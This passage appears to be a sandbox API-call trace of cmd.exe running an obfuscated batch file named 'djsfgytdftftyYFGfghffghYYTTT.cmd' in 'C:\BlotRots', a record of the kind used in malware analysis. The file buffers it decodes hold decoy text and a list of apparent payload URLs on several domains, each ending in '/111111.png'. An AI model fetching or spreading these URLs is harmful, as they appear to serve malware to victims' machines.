Flags=0x0, BaseAddress=0x20b0f957fe0) returned 1 [0227.648] GetProcessHeap () returned 0x20b0f920000 [0227.648] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0227.648] GetProcessHeap () returned 0x20b0f920000 [0227.648] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0227.648] GetProcessHeap () returned 0x20b0f920000 [0227.649] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0227.649] GetProcessHeap () returned 0x20b0f920000 [0227.649] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0227.649] GetProcessHeap () returned 0x20b0f920000 [0227.649] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0227.649] GetProcessHeap () returned 0x20b0f920000 [0227.649] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947160) returned 1 [0227.649] GetProcessHeap () returned 0x20b0f920000 [0227.649] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0227.650] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.650] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc39 [0227.650] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xb7c, lpOverlapped=0x0) returned 1 [0227.650] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc42 [0227.650] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0227.650] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.650] GetFileType (hFile=0x9c) returned 0x1 [0227.650] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.650] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc42 [0227.650] GetProcessHeap () returned 0x20b0f920000 [0227.650] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0227.651] GetProcessHeap () returned 0x20b0f920000 [0227.651] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0227.651] _tell (_FileHandle=3) returned 3138 [0227.651] _close (_FileHandle=3) returned 0 [0227.652] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0227.652] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0227.652] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.652] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3138, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc42 [0227.652] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.652] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc42 [0227.652] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xb73, lpOverlapped=0x0) returned 1 [0227.652] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0227.652] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\nis listed separately on this page. Synta \r\nSyntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0227.652] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.652] GetFileType (hFile=0x9c) returned 0x1 [0227.652] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.652] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0227.652] GetProcessHeap () returned 0x20b0f920000 [0227.652] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0227.653] GetProcessHeap () returned 0x20b0f920000 [0227.653] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0227.653] _tell (_FileHandle=3) returned 3147 [0227.653] _close (_FileHandle=3) returned 0 [0227.653] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0227.653] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0227.653] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.653] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0227.653] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.653] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xc4b [0227.653] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0xb6a, lpOverlapped=0x0) returned 1 [0227.653] SetFilePointer (in: hFile=0x9c, lDistanceToMove=3233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xca1 [0227.653] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=86, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3\r\n.3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 86 [0227.653] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.653] GetFileType (hFile=0x9c) returned 0x1 [0227.653] _get_osfhandle (_FileHandle=3) returned 0x9c [0227.653] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xca1 [0227.653] GetProcessHeap () returned 0x20b0f920000 [0227.653] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94a220 [0227.654] GetProcessHeap () returned 0x20b0f920000 [0227.654] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a220) returned 1 [0227.654] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0227.654] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0227.654] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0227.654] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0227.654] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0227.654] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0227.654] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0227.654] GetProcessHeap () returned 0x20b0f920000 [0227.654] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0227.654] GetProcessHeap () returned 0x20b0f920000 [0227.654] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0227.654] GetProcessHeap () returned 0x20b0f920000 [0227.654] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa8) returned 0x20b0f926ea0 [0227.654] _tell (_FileHandle=3) returned 3233 [0227.654] _close (_FileHandle=3) returned 0 [0227.654] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0227.654] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.654] GetFileType (hFile=0x50) returned 0x2 [0227.655] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0227.656] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.656] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0227.824] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0227.824] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0227.824] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0227.824] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.824] GetFileType (hFile=0x50) returned 0x2 [0227.824] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0227.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.825] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0227.825] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.825] GetFileType (hFile=0x50) returned 0x2 [0227.825] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0227.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.826] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0227.826] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 76 [0227.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.826] GetFileType (hFile=0x50) returned 0x2 [0227.826] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0227.826] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.826] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4c, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4c) returned 1 [0227.827] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0227.827] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.827] GetFileType (hFile=0x50) returned 0x2 [0227.827] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0227.827] _get_osfhandle (_FileHandle=1) returned 0x50 [0227.827] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0227.833] malloc (_Size=0xffce) returned 0x20b0fa60940 [0227.833] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0227.834] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0227.834] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0227.834] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0227.834] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0227.834] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0227.834] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0227.834] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0227.834] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0227.834] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0227.834] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0227.834] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0227.834] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0227.834] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0227.834] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0227.834] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0227.834] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0227.835] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0227.835] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0227.835] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0227.835] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0227.835] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0227.835] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0227.835] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0227.835] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0227.835] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0227.835] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0227.835] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0227.835] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0227.835] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0227.835] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0227.835] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0227.835] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0227.835] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0227.835] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0227.835] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0227.835] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0227.835] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0227.835] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0227.835] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0227.835] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0227.835] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0227.835] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0227.835] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0227.835] malloc (_Size=0xffce) returned 0x20b0fa70920 [0227.836] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0227.836] GetProcessHeap () returned 0x20b0f920000 [0227.836] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0228.050] SetErrorMode (uMode=0x0) returned 0x0 [0228.050] SetErrorMode (uMode=0x1) returned 0x0 [0228.051] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0228.051] SetErrorMode (uMode=0x0) returned 0x1 [0228.051] GetProcessHeap () returned 0x20b0f920000 [0228.051] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0228.058] GetProcessHeap () returned 0x20b0f920000 [0228.058] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0228.058] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0228.058] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0228.058] GetProcessHeap () returned 0x20b0f920000 [0228.059] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92ca50 [0228.059] GetProcessHeap () returned 0x20b0f920000 [0228.059] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0228.059] GetProcessHeap () returned 0x20b0f920000 [0228.059] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0228.059] GetProcessHeap () returned 0x20b0f920000 [0228.059] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0228.059] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0228.059] GetProcessHeap () returned 0x20b0f920000 [0228.059] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d600 [0228.059] GetProcessHeap () returned 0x20b0f920000 [0228.059] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d600, Size=0x7e) returned 0x20b0f92d600 [0228.059] GetProcessHeap () returned 0x20b0f920000 [0228.059] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x7e [0228.059] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.059] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cd90 [0228.060] FindClose (in: hFindFile=0x20b0f92cd90 | out: hFindFile=0x20b0f92cd90) returned 1 [0228.060] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.060] GetLastError () returned 0x2 [0228.060] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.060] GetLastError () returned 0x2 [0228.060] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.061] GetLastError () returned 0x2 [0228.061] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.061] GetLastError () returned 0x2 [0228.061] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.061] GetLastError () returned 0x2 [0228.061] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.061] GetLastError () returned 0x2 [0228.061] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.062] GetLastError () returned 0x2 [0228.062] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.062] GetLastError () returned 0x2 [0228.062] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.062] GetLastError () returned 0x2 [0228.062] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.062] GetLastError () returned 0x2 [0228.062] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.063] GetLastError () returned 0x2 [0228.063] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.063] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.064] GetLastError () returned 0x2 [0228.064] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0228.064] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ccd0 [0228.064] FindClose (in: hFindFile=0x20b0f92ccd0 | out: hFindFile=0x20b0f92ccd0) returned 1 [0228.064] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.064] GetLastError () returned 0x2 [0228.065] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.065] GetLastError () returned 0x2 [0228.065] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.065] GetLastError () returned 0x2 [0228.065] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.065] GetLastError () returned 0x2 [0228.065] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.066] GetLastError () returned 0x2 [0228.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.066] GetLastError () returned 0x2 [0228.066] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.068] GetLastError () returned 0x2 [0228.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.068] GetLastError () returned 0x2 [0228.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.068] GetLastError () returned 0x2 [0228.068] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0228.068] GetLastError () returned 0x2 [0228.069] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 